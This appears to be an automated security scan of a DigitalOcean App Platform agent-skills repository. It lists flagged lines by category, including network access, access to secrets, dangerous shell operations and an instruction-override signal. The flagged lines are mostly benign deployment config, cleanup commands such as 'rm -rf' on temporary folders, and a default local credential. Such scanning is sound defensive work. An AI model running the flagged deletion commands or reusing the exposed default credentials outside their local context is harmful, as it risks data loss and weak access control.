- name: queue-processor git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 71
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 72
repo_clone_url: https://github.com/owner/repo.git - Network accessline 96
- name: internal-api git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 97
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 98
repo_clone_url: https://github.com/owner/repo.git - Network accessline 121
kind: PRE_DEPLOY git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 122
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 123
repo_clone_url: https://github.com/owner/repo.git - Network accessline 135
kind: POST_DEPLOY git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 136
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 137
repo_clone_url: https://github.com/owner/repo.git - Network accessline 148
kind: FAILED_DEPLOY git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 149
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 150
repo_clone_url: https://github.com/owner/repo.git - Network accessline 164
time_zone: America/New_York git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 165
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 166
repo_clone_url: https://github.com/owner/repo.git - Network accessline 188
- name: frontend git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 189
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 190
repo_clone_url: https://github.com/owner/repo.git - Network accessline 197
- key: NEXT_PUBLIC_API_URL scope: BUILD_TIME value: https://api.example.com - Network accessline 199
value: https://api.example.com - Network accessline 208
- name: spa git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 209
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 210
repo_clone_url: https://github.com/owner/repo.git - Network accessline 236
- name: webhook git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 237
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 238
repo_clone_url: https://github.com/owner/repo.git - Access to secretsline 242
[Credential-related source omitted] - Network accessline 274
- name: api git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 275
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 276
repo_clone_url: https://github.com/owner/repo.git - Network accessline 282
- name: admin git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 283
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 284
repo_clone_url: https://github.com/owner/repo.git - Network accessline 290
- name: web git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 291
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 292
repo_clone_url: https://github.com/owner/repo.git
skills/designer/reference/deploy-to-do-button.md
- Network accessline 65
- name: web git: repo_clone_url: https://github.com/owner/repo.git - Network accessline 66
git: repo_clone_url: https://github.com/owner/repo.git branch: main - Network accessline 67
repo_clone_url: https://github.com/owner/repo.git - Network accessline 93
| Style | Image URL | |-------|-----------| | Blue | `https://www.deploytodo.com/do-btn-blue.svg` | - Network accessline 94
|-------|-----------| | Blue | `https://www.deploytodo.com/do-btn-blue.svg` | | Blue Ghost | `https://www.deploytodo.com/do-btn-blue-ghost.svg` | - Network accessline 95
| Blue | `https://www.deploytodo.com/do-btn-blue.svg` | - Network accessline 96
| Blue Ghost | `https://www.deploytodo.com/do-btn-blue-ghost.svg` | - Network accessline 97
| White | `https://www.deploytodo.com/do-btn-white.svg` | - Network accessline 98
| White Ghost | `https://www.deploytodo.com/do-btn-white-ghost.svg` | - Network accessline 107
[](https://cloud.digitalocean.com/apps/new?repo=https://github.com/OWNER/REPO/tree/BRANCH) - Network accessline 113
<a href="https://cloud.digitalocean.com/apps/new?repo=https://github.com/OWNER/REPO/tree/BRANCH"> - Network accessline 114
<img src="https://www.deploytodo.com/do-btn-blue.svg" alt="Deploy to DigitalOcean"> - Network accessline 121
[](https://cloud.digitalocean.com/apps/new?repo=https://github.com/OWNER/REPO/tree/v1.0.0) - Access to secretsline 137
[Credential-related source omitted] - Network accessline 171
- name: api git: repo_clone_url: https://github.com/owner/fastapi-starter.git - Network accessline 172
git: repo_clone_url: https://github.com/owner/fastapi-starter.git branch: main - Network accessline 173
repo_clone_url: https://github.com/owner/fastapi-starter.git - Network accessline 195
kind: PRE_DEPLOY git: repo_clone_url: https://github.com/owner/fastapi-starter.git - Network accessline 196
git: repo_clone_url: https://github.com/owner/fastapi-starter.git branch: main - Network accessline 197
repo_clone_url: https://github.com/owner/fastapi-starter.git - Network accessline 257
[](https://cloud.digitalocean.com/apps/new?repo=https://github.com/OWNER/REPO/tree/main) - Access to secretsline 266
[Credential-related source omitted]
skills/designer/reference/environment-variables.md
- Access to secretsline 20
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 186
[Credential-related source omitted] - Network accessline 343
# Build-time config NEXT_PUBLIC_API_URL=https://your-app.ondigitalocean.app/api - Network accessline 344
NEXT_PUBLIC_API_URL=https://your-app.ondigitalocean.app/api
skills/devcontainers/README.md
- Network accessline 18
**`${DEVCONTAINER_REPO_URL}`** (default: https://github.com/bikramkgupta/do-app-devcontainer) - Network accessline 62
| Valkey 8 | `valkey` | 6379 | `redis://valkey:6379` | | Kafka 7.7 | `kafka` | 9092 | `kafka:9092` | | OpenSearch 3.0 | `opensearch` | 9200 | `http://opensearch:9200` | - Network accessline 63
| Kafka 7.7 | `kafka` | 9092 | `kafka:9092` | | OpenSearch 3.0 | `opensearch` | 9200 | `http://opensearch:9200` | | RustFS (S3) | `minio` | 9000/9001 | `http://minio:9000` | - Network accessline 64
| OpenSearch 3.0 | `opensearch` | 9200 | `http://opensearch:9200` | - Network accessline 65
| RustFS (S3) | `minio` | 9000/9001 | `http://minio:9000` |
skills/devcontainers/SKILL.md
- Network accessline 30
# Clone the reference devcontainer git clone --depth 1 https://github.com/bikramkgupta/do-app-devcontainer.git /tmp/devcontainer-ref - Network accessline 31
git clone --depth 1 https://github.com/bikramkgupta/do-app-devcontainer.git /tmp/devcontainer-ref - Dangerous shell operationline 37
rm -rf /tmp/devcontainer-ref - Network accessline 70
| Valkey | `redis://valkey:6379` | | Kafka | `kafka:9092` | | RustFS | `http://minio:9000` (creds: `rustfsadmin/rustfsadmin`) | - Network accessline 71
| Kafka | `kafka:9092` | | RustFS | `http://minio:9000` (creds: `rustfsadmin/rustfsadmin`) | | OpenSearch | `http://opensearch:9200` | - Network accessline 72
| RustFS | `http://minio:9000` (creds: `rustfsadmin/rustfsadmin`) | - Network accessline 73
| OpenSearch | `http://opensearch:9200` | - Network accessline 154
# S3-compatible storage (RustFS) SPACES_ENDPOINT=http://minio:9000 - Network accessline 155
SPACES_ENDPOINT=http://minio:9000 - Access to secretsline 172
[Credential-related source omitted] - Dangerous shell operationline 214
| Permission denied | Run: `sudo chown -R vscode:vscode /home/vscode` | - Network accessline 252
- [VS Code Dev Containers](https://code.visualstudio.com/docs/devcontainers/containers) - Network accessline 253
- [Docker Compose](https://docs.docker.com/compose/) - Network accessline 254
- [Reference Implementation](https://github.com/bikramkgupta/do-app-devcontainer)
skills/devcontainers/reference/cli-workflow.md
- Dangerous shell operationline 38
docker rm -f port-forward-3000 port-forward-3001 - Dangerous shell operationline 51
docker exec -w /workspaces/app $APP_CONTAINER bash -c "rm -rf node_modules && npm install" - Access to secretsline 64
[Credential-related source omitted] - Access to secretsline 65
[Credential-related source omitted] - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 93
[Credential-related source omitted] - Access to secretsline 94
[Credential-related source omitted] - Access to secretsline 96
[Credential-related source omitted] - Access to secretsline 97
[Credential-related source omitted] - Dangerous shell operationline 145
docker exec -w /workspaces/app $APP_CONTAINER bash -c "rm -rf node_modules && npm install" - Access to secretsline 152
[Credential-related source omitted] - Access to secretsline 153
[Credential-related source omitted] - Access to secretsline 156
[Credential-related source omitted] - Access to secretsline 157
[Credential-related source omitted] - Network accessline 159
# 8. Verify services are accessible from host curl http://localhost:3000/health - Network accessline 160
curl http://localhost:3000/health - Dangerous shell operationline 163
docker rm -f pf-3000 - Access to secretsline 194
[Credential-related source omitted] - Access to secretsline 195
[Credential-related source omitted] - Dangerous shell operationline 196
rm -f ".devcontainer/.env.bak" 2>/dev/null || true - Access to secretsline 198
[Credential-related source omitted] - Access to secretsline 200
[Credential-related source omitted] - Access to secretsline 201
[Credential-related source omitted] - Dangerous shell operationline 215
sudo chown -R vscode:vscode "$dir"
skills/devcontainers/reference/language-configurations.md
- Access to secretsline 236
[Credential-related source omitted] - Access to secretsline 237
[Credential-related source omitted] - Access to secretsline 238
[Credential-related source omitted] - Access to secretsline 239
[Credential-related source omitted] - Network accessline 258
# S3-compatible storage SPACES_ENDPOINT=http://minio:9000 - Network accessline 259
SPACES_ENDPOINT=http://minio:9000
skills/devcontainers/reference/s3-storage-patterns.md
- Network accessline 9
| Aspect | Local (RustFS) | Production (DO Spaces) | |--------|----------------|------------------------| | Endpoint | `http://minio:9000` | `https://{region}.digitaloceanspaces.com` | - Network accessline 10
|--------|----------------|------------------------| | Endpoint | `http://minio:9000` | `https://{region}.digitaloceanspaces.com` | | Path Style | `true` (required) | `false` | - Network accessline 11
| Endpoint | `http://minio:9000` | `https://{region}.digitaloceanspaces.com` | - Network accessline 23
SPACES_ENDPOINT=http://minio:9000 - Network accessline 59
const s3Client = new S3Client({ endpoint: process.env.SPACES_ENDPOINT || `https://${process.env.SPACES_REGION}.digitaloceanspaces.com`, - Network accessline 60
endpoint: process.env.SPACES_ENDPOINT || `https://${process.env.SPACES_REGION}.digitaloceanspaces.com`, region: process.env.SPACES_REGION || 'us-east-1', - Network accessline 61
`https://${process.env.SPACES_REGION}.digitaloceanspaces.com`, - Access to secretsline 66
[Credential-related source omitted] - Access to secretsline 79
[Credential-related source omitted] - Network accessline 83
's3', endpoint_url=os.environ.get('SPACES_ENDPOINT') or f"https://{os.environ['SPACES_REGION']}.digitaloceanspaces.com", - Network accessline 84
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Network accessline 85
[Credential-related source omitted] - Access to secretsline 85
[Credential-related source omitted] - Access to secretsline 86
[Credential-related source omitted] - Access to secretsline 87
[Credential-related source omitted] - Access to secretsline 174
[Credential-related source omitted] - Network accessline 182
# S3-Compatible Storage (DigitalOcean Spaces / RustFS) # ================================================ # Local: Set SPACES_ENDPOINT to http://minio:9000 - Network accessline 183
# ================================================ # Local: Set SPACES_ENDPOINT to http://minio:9000 # Production: Leave SPACES_ENDPOINT unset - Network accessline 184
# Local: Set SPACES_ENDPOINT to http://minio:9000 - Network accessline 193
# Local only - set for RustFS/MinIO SPACES_ENDPOINT=http://minio:9000 - Network accessline 194
SPACES_ENDPOINT=http://minio:9000 - Access to secretsline 207
[Credential-related source omitted] - Network accessline 209
# List buckets aws --endpoint-url http://minio:9000 s3 ls - Network accessline 210
aws --endpoint-url http://minio:9000 s3 ls - Network accessline 212
# Create bucket aws --endpoint-url http://minio:9000 s3 mb s3://my-app-local - Network accessline 213
aws --endpoint-url http://minio:9000 s3 mb s3://my-app-local - Network accessline 215
# Upload file aws --endpoint-url http://minio:9000 s3 cp test.txt s3://my-app-local/ - Network accessline 216
aws --endpoint-url http://minio:9000 s3 cp test.txt s3://my-app-local/ - Network accessline 218
# Download file aws --endpoint-url http://minio:9000 s3 cp s3://my-app-local/test.txt ./downloaded.txt - Network accessline 219
aws --endpoint-url http://minio:9000 s3 cp s3://my-app-local/test.txt ./downloaded.txt - Network accessline 225
# Health check curl -sf http://minio:9000/health - Network accessline 226
curl -sf http://minio:9000/health - Network accessline 261
**Solution:** Local endpoints use `http://` not `https://`. Ensure your code handles this:
skills/devcontainers/reference/service-templates.md
- Network accessline 200
- devcontainer-network healthcheck: test: ["CMD", "curl", "-sf", "http://localhost:9000/health"] - Network accessline 201
healthcheck: test: ["CMD", "curl", "-sf", "http://localhost:9000/health"] interval: 30s - Network accessline 202
test: ["CMD", "curl", "-sf", "http://localhost:9000/health"] - Network accessline 208
**Credentials:** `rustfsadmin` / `rustfsadmin` **Endpoint:** `http://minio:9000` - Network accessline 209
**Endpoint:** `http://minio:9000` - Network accessline 231
- devcontainer-network healthcheck: test: ["CMD-SHELL", "curl -f http://localhost:9200/_cluster/health || exit 1"] - Network accessline 232
healthcheck: test: ["CMD-SHELL", "curl -f http://localhost:9200/_cluster/health || exit 1"] interval: 30s - Network accessline 233
test: ["CMD-SHELL", "curl -f http://localhost:9200/_cluster/health || exit 1"] - Network accessline 244
- "127.0.0.1:0:5601" environment: - "OPENSEARCH_HOSTS=http://opensearch:9200" - Network accessline 245
environment: - "OPENSEARCH_HOSTS=http://opensearch:9200" - "DISABLE_SECURITY_DASHBOARDS_PLUGIN=true" - Network accessline 246
- "OPENSEARCH_HOSTS=http://opensearch:9200" - Network accessline 255
**Endpoint:** `http://opensearch:9200` - Network accessline 272
| Valkey | `redis://valkey:6379` | | Kafka | `kafka:9092` | | RustFS | `http://minio:9000` | - Network accessline 273
| Kafka | `kafka:9092` | | RustFS | `http://minio:9000` | | OpenSearch | `http://opensearch:9200` | - Network accessline 274
| RustFS | `http://minio:9000` | - Network accessline 275
| OpenSearch | `http://opensearch:9200` |
skills/managed-db-services/SKILL.md
- Network accessline 89
| Valkey | `REDIS` | 25061 | `rediss://` (with SSL) | [Full guide](reference/valkey.md) | | Kafka | `KAFKA` | 9093 | SASL/SCRAM-SHA-256 | [Full guide](reference/kafka.md) | | OpenSearch | `OPENSEARCH` | 25060 | `https://` with basic auth | - Network accessline 91
| OpenSearch | `OPENSEARCH` | 25060 | `https://` with basic auth | [Full guide](reference/opensearch.md) | - Network accessline 248
- key: OPENSEARCH_URL scope: RUN_TIME value: https://${search.USERNAME}:${search.PASSWORD}@${search.HOSTNAME}:${search.PORT} - Network accessline 250
value: https://${search.USERNAME}:${search.PASSWORD}@${search.HOSTNAME}:${search.PORT} - Network accessline 332
- [Managed Databases Overview](https://docs.digitalocean.com/products/databases/) - Network accessline 333
- [MySQL](https://docs.digitalocean.com/products/databases/mysql/) - Network accessline 334
- [MongoDB](https://docs.digitalocean.com/products/databases/mongodb/) - Network accessline 335
- [Redis/Valkey](https://docs.digitalocean.com/products/databases/redis/) - Network accessline 336
- [Kafka](https://docs.digitalocean.com/products/databases/kafka/) - Network accessline 337
- [OpenSearch](https://docs.digitalocean.com/products/databases/opensearch/) - Network accessline 338
- [doctl databases reference](https://docs.digitalocean.com/reference/doctl/reference/databases/)
skills/managed-db-services/reference/kafka.md
- Access to secretsline 129
[Credential-related source omitted] - Access to secretsline 132
[Credential-related source omitted] - Access to secretsline 133
[Credential-related source omitted] - Access to secretsline 182
[Credential-related source omitted] - Access to secretsline 184
[Credential-related source omitted] - Access to secretsline 187
[Credential-related source omitted] - Access to secretsline 190
[Credential-related source omitted] - Access to secretsline 191
[Credential-related source omitted] - Network accessline 261
- [Kafka on DigitalOcean](https://docs.digitalocean.com/products/databases/kafka/) - Network accessline 262
- [doctl databases reference](https://docs.digitalocean.com/reference/doctl/reference/databases/)
skills/managed-db-services/reference/mongodb.md
- Network accessline 82
# Create read-only user via API (not available in Console) curl -X POST "https://api.digitalocean.com/v2/databases/$CLUSTER_ID/users" \ - Network accessline 83
[Credential-related source omitted] - Access to secretsline 83
[Credential-related source omitted] - Access to secretsline 84
[Credential-related source omitted] - Network accessline 121
- [MongoDB on DigitalOcean](https://docs.digitalocean.com/products/databases/mongodb/) - Network accessline 122
- [doctl databases reference](https://docs.digitalocean.com/reference/doctl/reference/databases/)
skills/managed-db-services/reference/mysql.md
skills/managed-db-services/reference/opensearch.md
- Network accessline 42
- key: OPENSEARCH_URL scope: RUN_TIME value: https://${search.USERNAME}:${search.PASSWORD}@${search.HOSTNAME}:${search.PORT} - Network accessline 44
value: https://${search.USERNAME}:${search.PASSWORD}@${search.HOSTNAME}:${search.PORT} - Network accessline 71
# List current ACLs curl -X GET "https://api.digitalocean.com/v2/databases/$CLUSTER_ID/opensearch/acl" \ - Network accessline 72
[Credential-related source omitted] - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 73
[Credential-related source omitted] - Network accessline 75
# Update ACLs (example: restrict user to specific index pattern) curl -X PUT "https://api.digitalocean.com/v2/databases/$CLUSTER_ID/opensearch/acl" \ - Network accessline 76
[Credential-related source omitted] - Access to secretsline 76
[Credential-related source omitted] - Access to secretsline 77
[Credential-related source omitted] - Network accessline 96
# Wrong http://host:25060 - Network accessline 97
http://host:25060 - Network accessline 99
# Correct https://user:pass@host:25060 - Network accessline 100
https://user:pass@host:25060 - Network accessline 123
- [OpenSearch on DigitalOcean](https://docs.digitalocean.com/products/databases/opensearch/) - Network accessline 124
- [doctl databases reference](https://docs.digitalocean.com/reference/doctl/reference/databases/)
skills/managed-db-services/reference/valkey.md
skills/migration/README.md
- Network accessline 8
"Migrate my app from Heroku to App Platform: https://github.com/myorg/myapp"
skills/migration/SKILL.md
- Network accessline 97
# User provides repo URL "Migrate this app to App Platform: https://github.com/myorg/myapp" - Network accessline 98
"Migrate this app to App Platform: https://github.com/myorg/myapp" - Network accessline 244
- [App Spec Reference](https://docs.digitalocean.com/products/app-platform/reference/app-spec/) - Network accessline 245
- [Heroku Migration Guide](https://docs.digitalocean.com/products/app-platform/how-to/migrate-from-heroku/) - Network accessline 246
- [Deploy to DO Button](https://docs.digitalocean.com/products/app-platform/how-to/add-deploy-do-button/)
skills/migration/reference/app-spec-generation.md
- Network accessline 18
- name: web git: repo_clone_url: https://github.com/myorg/myapp.git - Network accessline 19
git: repo_clone_url: https://github.com/myorg/myapp.git branch: migrate/test - Network accessline 20
repo_clone_url: https://github.com/myorg/myapp.git - Network accessline 42
- name: celery git: repo_clone_url: https://github.com/myorg/myapp.git - Network accessline 43
git: repo_clone_url: https://github.com/myorg/myapp.git branch: migrate/test - Network accessline 44
repo_clone_url: https://github.com/myorg/myapp.git - Network accessline 59
- name: migrate git: repo_clone_url: https://github.com/myorg/myapp.git - Network accessline 60
git: repo_clone_url: https://github.com/myorg/myapp.git branch: migrate/test - Network accessline 61
repo_clone_url: https://github.com/myorg/myapp.git - Network accessline 95
- name: web git: repo_clone_url: https://github.com/myorg/myapp.git - Network accessline 96
git: repo_clone_url: https://github.com/myorg/myapp.git branch: migrate/prod - Network accessline 97
repo_clone_url: https://github.com/myorg/myapp.git - Network accessline 125
- name: celery git: repo_clone_url: https://github.com/myorg/myapp.git - Network accessline 126
git: repo_clone_url: https://github.com/myorg/myapp.git branch: migrate/prod - Network accessline 127
repo_clone_url: https://github.com/myorg/myapp.git - Network accessline 142
- name: migrate git: repo_clone_url: https://github.com/myorg/myapp.git - Network accessline 143
git: repo_clone_url: https://github.com/myorg/myapp.git branch: migrate/prod - Network accessline 144
repo_clone_url: https://github.com/myorg/myapp.git
skills/migration/reference/code-refactoring.md
- Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 19
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Network accessline 68
import boto3 s3 = boto3.client('s3', endpoint_url=os.environ['SPACES_ENDPOINT'], # https://nyc3.digitaloceanspaces.com - Network accessline 69
s3 = boto3.client('s3', endpoint_url=os.environ['SPACES_ENDPOINT'], # https://nyc3.digitaloceanspaces.com region_name=os.environ['SPACES_REGION'], # nyc3 - Network accessline 70
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Access to secretsline 71
[Credential-related source omitted] - Access to secretsline 72
[Credential-related source omitted] - Access to secretsline 73
[Credential-related source omitted] - Access to secretsline 89
[Credential-related source omitted] - Access to secretsline 90
[Credential-related source omitted] - Access to secretsline 107
[Credential-related source omitted] - Access to secretsline 111
[Credential-related source omitted] - Network accessline 205
# Sync from old bucket to Spaces aws s3 sync s3://old-bucket s3://new-bucket \ --endpoint-url https://nyc3.digitaloceanspaces.com - Network accessline 206
aws s3 sync s3://old-bucket s3://new-bucket --endpoint-url https://nyc3.digitaloceanspaces.com - Network accessline 207
--endpoint-url https://nyc3.digitaloceanspaces.com
skills/migration/reference/heroku/heroku-addons.md
- Access to secretsline 144
[Credential-related source omitted] - Access to secretsline 157
[Credential-related source omitted] - Access to secretsline 158
[Credential-related source omitted] - Access to secretsline 196
[Credential-related source omitted] - Access to secretsline 197
[Credential-related source omitted] - Access to secretsline 198
[Credential-related source omitted] - Network accessline 201
# After (DO Spaces) s3 = boto3.client('s3', endpoint_url=os.environ['SPACES_ENDPOINT'], # e.g., https://nyc3.digitaloceanspaces.com - Network accessline 202
s3 = boto3.client('s3', endpoint_url=os.environ['SPACES_ENDPOINT'], # e.g., https://nyc3.digitaloceanspaces.com aws_access_key_id=os.environ['SPACES_KEY'], - Network accessline 203
[Credential-related source omitted] - Access to secretsline 203
[Credential-related source omitted] - Access to secretsline 204
[Credential-related source omitted] - Access to secretsline 205
[Credential-related source omitted]
skills/migration/reference/heroku/heroku-mapping.md
- Access to secretsline 119
[Credential-related source omitted] - Access to secretsline 166
[Credential-related source omitted] - Network accessline 219
# Heroku (Private Spaces) https://myworker.herokuapp.com (internal routing) - Network accessline 220
https://myworker.herokuapp.com (internal routing) - Network accessline 222
# App Platform http://worker:8080 (internal service name, private port) - Network accessline 223
http://worker:8080 (internal service name, private port)
skills/migration/reference/heroku/heroku-workflows.md
skills/migration/reference/workflow-examples.md
skills/migration/scripts/analyze_architecture.py
skills/migration/scripts/detect_platform.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/migration/scripts/generate_app_spec.py
skills/migration/scripts/generate_checklist.py
skills/migration/templates/env-mapping.md
- Access to secretsline 30
[Credential-related source omitted] - Network accessline 38
| Compose Pattern | App Platform Pattern | |-----------------|---------------------| | `http://api:3000` | `http://api:3000` (internal) OR `${APP_URL}` | - Network accessline 39
|-----------------|---------------------| | `http://api:3000` | `http://api:3000` (internal) OR `${APP_URL}` | | `postgres://db:5432` | `${db.DATABASE_URL}` | - Network accessline 40
| `http://api:3000` | `http://api:3000` (internal) OR `${APP_URL}` | - Access to secretsline 74
[Credential-related source omitted] - Access to secretsline 79
[Credential-related source omitted] - Network accessline 91
envs: - key: SPACES_ENDPOINT value: https://nyc3.digitaloceanspaces.com - Network accessline 92
- key: SPACES_ENDPOINT value: https://nyc3.digitaloceanspaces.com - key: SPACES_REGION - Network accessline 93
value: https://nyc3.digitaloceanspaces.com - Access to secretsline 176
[Credential-related source omitted]
skills/migration/templates/service-mapping.md
- Network accessline 145
s3 = boto3.client('s3', endpoint_url=os.environ['SPACES_ENDPOINT'], # https://nyc3.digitaloceanspaces.com - Network accessline 146
[Credential-related source omitted] - Access to secretsline 146
[Credential-related source omitted] - Access to secretsline 147
[Credential-related source omitted] - Access to secretsline 148
[Credential-related source omitted] - Access to secretsline 149
[Credential-related source omitted] - Access to secretsline 153
[Credential-related source omitted] - Network accessline 259
| Pattern | App Platform | |---------|-------------| | `http://api:3000` (Compose) | `http://api.${APP_DOMAIN}:80` (internal) | - Network accessline 260
|---------|-------------| | `http://api:3000` (Compose) | `http://api.${APP_DOMAIN}:80` (internal) | | Service Discovery (ECS) | Use service names directly | - Network accessline 261
| `http://api:3000` (Compose) | `http://api.${APP_DOMAIN}:80` (internal) |
skills/networking/SKILL.md
- Network accessline 116
cors: allow_origins: - exact: https://app.example.com - Network accessline 116
cors: allow_origins: - exact: https://app.example.com - Network accessline 117
allow_origins: - exact: https://app.example.com allow_methods: [GET, POST, PUT, DELETE, OPTIONS] - Network accessline 117
allow_origins: - exact: https://app.example.com allow_methods: [GET, POST, PUT, DELETE, OPTIONS] - Network accessline 118
- exact: https://app.example.com - Network accessline 118
- exact: https://app.example.com
skills/networking/reference/complete-patterns.md
- Network accessline 14
- name: web git: repo_clone_url: https://github.com/org/app.git - Network accessline 15
git: repo_clone_url: https://github.com/org/app.git branch: main - Network accessline 16
repo_clone_url: https://github.com/org/app.git - Network accessline 53
cors: allow_origins: - exact: https://example.com - Network accessline 54
allow_origins: - exact: https://example.com allow_methods: [GET, POST, PUT, DELETE, OPTIONS] - Network accessline 55
- exact: https://example.com - Network accessline 89
cors: allow_origins: - exact: https://app.example.com - Network accessline 90
allow_origins: - exact: https://app.example.com - exact: https://admin.example.com - Network accessline 91
- exact: https://app.example.com - Network accessline 92
- exact: https://admin.example.com - Network accessline 213
cors: allow_origins: - exact: https://app.example.com - Network accessline 214
allow_origins: - exact: https://app.example.com - regex: ^https://.*\.example\.com$ - Network accessline 215
- exact: https://app.example.com - Network accessline 216
- regex: ^https://.*\.example\.com$
skills/networking/reference/cors-configuration.md
- Network accessline 12
cors: allow_origins: - exact: https://example.com - Network accessline 13
allow_origins: - exact: https://example.com allow_methods: - Network accessline 14
- exact: https://example.com - Network accessline 38
allow_origins: - exact: https://example.com - Network accessline 39
- exact: https://example.com - Network accessline 40
- exact: https://app.example.com - Network accessline 45
allow_origins: - regex: ^https://.*\.example\.com$ - Network accessline 46
- regex: ^https://.*\.example\.com$ - Network accessline 51
allow_origins: - exact: https://example.com - Network accessline 52
- exact: https://example.com - Network accessline 53
- regex: ^https://[a-z0-9-]+\.example\.com$ - Network accessline 59
cors: allow_origins: - exact: https://app.example.com - Network accessline 60
allow_origins: - exact: https://app.example.com - exact: https://admin.example.com - Network accessline 61
- exact: https://app.example.com - Network accessline 62
- exact: https://admin.example.com - Network accessline 83
cors: allow_origins: - exact: https://app.example.com # Must be exact - Network accessline 84
allow_origins: - exact: https://app.example.com # Must be exact allow_credentials: true - Network accessline 85
- exact: https://app.example.com # Must be exact
skills/networking/reference/static-ips-egress.md
skills/planner/SKILL.md
- Access to secretsline 47
[Credential-related source omitted]
skills/planner/reference/build-local-first.md
skills/planner/templates/local/03-local-testing.md.template
skills/planner/templates/tier-1-simple/04-cloud-deploy.md.template
- Network accessline 60
- [ ] App URL: `https://{{APP_NAME}}-_____.ondigitalocean.app`
skills/planner/templates/tier-1-simple/05-cloud-validate.md.template
skills/planner/templates/tier-2-database/06-cloud-deploy.md.template
- Network accessline 66
```bash APP_URL=$(doctl apps get $APP_ID --format DefaultIngress --no-header) curl -s $APP_URL/healthz - Network accessline 67
APP_URL=$(doctl apps get $APP_ID --format DefaultIngress --no-header) curl -s $APP_URL/healthz curl -s $APP_URL/ - Network accessline 68
curl -s $APP_URL/healthz - Network accessline 69
curl -s $APP_URL/ - Network accessline 76
- [ ] App URL: `https://{{APP_NAME}}-_____.ondigitalocean.app`
skills/planner/templates/tier-2-database/07-cloud-validate.md.template
skills/planner/templates/tier-3-complex/07-cloud-secrets-cicd.md.template
- Access to secretsline 20
[Credential-related source omitted] - Access to secretsline 24
[Credential-related source omitted] - Access to secretsline 32
[Credential-related source omitted] - Access to secretsline 36
[Credential-related source omitted] - Access to secretsline 75
[Credential-related source omitted] - Access to secretsline 100
[Credential-related source omitted] - Access to secretsline 104
[Credential-related source omitted]
skills/planner/templates/tier-3-complex/08-cloud-deploy-production.md.template
- Network accessline 81
```bash APP_URL=$(doctl apps get $APP_ID --format DefaultIngress --no-header) curl -s $APP_URL/healthz - Network accessline 82
APP_URL=$(doctl apps get $APP_ID --format DefaultIngress --no-header) curl -s $APP_URL/healthz ``` - Network accessline 83
curl -s $APP_URL/healthz - Network accessline 90
- [ ] App URL: `https://{{APP_NAME}}-_____.ondigitalocean.app`
skills/planner/templates/tier-3-complex/09-cloud-end-to-end.md.template
- Network accessline 21
App URL: `https://{{APP_NAME}}-_____.ondigitalocean.app` - Network accessline 41
```bash # Test primary endpoint curl -X POST $APP_URL/{{API_ENDPOINT}} \ - Network accessline 42
# Test primary endpoint curl -X POST $APP_URL/{{API_ENDPOINT}} \ -H "Content-Type: application/json" \ - Network accessline 43
curl -X POST $APP_URL/{{API_ENDPOINT}} \ - Network accessline 112
# Send multiple requests for i in {1..10}; do curl -X POST $APP_URL/{{API_ENDPOINT}} \ - Network accessline 113
for i in {1..10}; do curl -X POST $APP_URL/{{API_ENDPOINT}} \ -H "Content-Type: application/json" \ - Network accessline 114
curl -X POST $APP_URL/{{API_ENDPOINT}} \
skills/postgres/reference/database-migrations.md
- Access to secretsline 23
[Credential-related source omitted]
skills/postgres/reference/orm-configurations.md
- Access to secretsline 48
[Credential-related source omitted]
skills/postgres/scripts/add_client.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/postgres/scripts/cleanup_client.py
skills/postgres/scripts/create_schema_user.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/postgres/scripts/generate_connection_string.py
skills/postgres/scripts/get_admin_conn.sh
- Executable scriptline 1
#!/bin/bash
skills/postgres/scripts/list_schemas_users.py
- Executable scriptline 1
#!/usr/bin/env python3
skills/postgres/scripts/secure_setup.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 68
except (subprocess.CalledProcessError, FileNotFoundError): print("\033[91mError: gh CLI is not installed\033[0m") print("Install with: brew install gh (macOS) or see https://cli.github.com") - Network accessline 69
print("\033[91mError: gh CLI is not installed\033[0m") print("Install with: brew install gh (macOS) or see https://cli.github.com") return False - Network accessline 70
print("Install with: brew install gh (macOS) or see https://cli.github.com") - Instruction override signalline 151
parser.add_argument("--secret-name", default="DATABASE_URL", help="Secret name") parser.add_argument("--dry-run", action="store_true", help="Show plan without executing") parser.add_argument("--skip-confirm", action="store_true", he - Instruction override signalline 153
parser.add_argument("--skip-confirm", action="store_true", help="Skip confirmation")
skills/postgres/scripts/secure_setup.sh
- Executable scriptline 1
#!/bin/bash - Network accessline 148
if ! command -v gh &> /dev/null; then echo -e "${RED}Error: gh CLI is not installed${NC}" echo "Install with: brew install gh (macOS) or see https://cli.github.com" - Network accessline 149
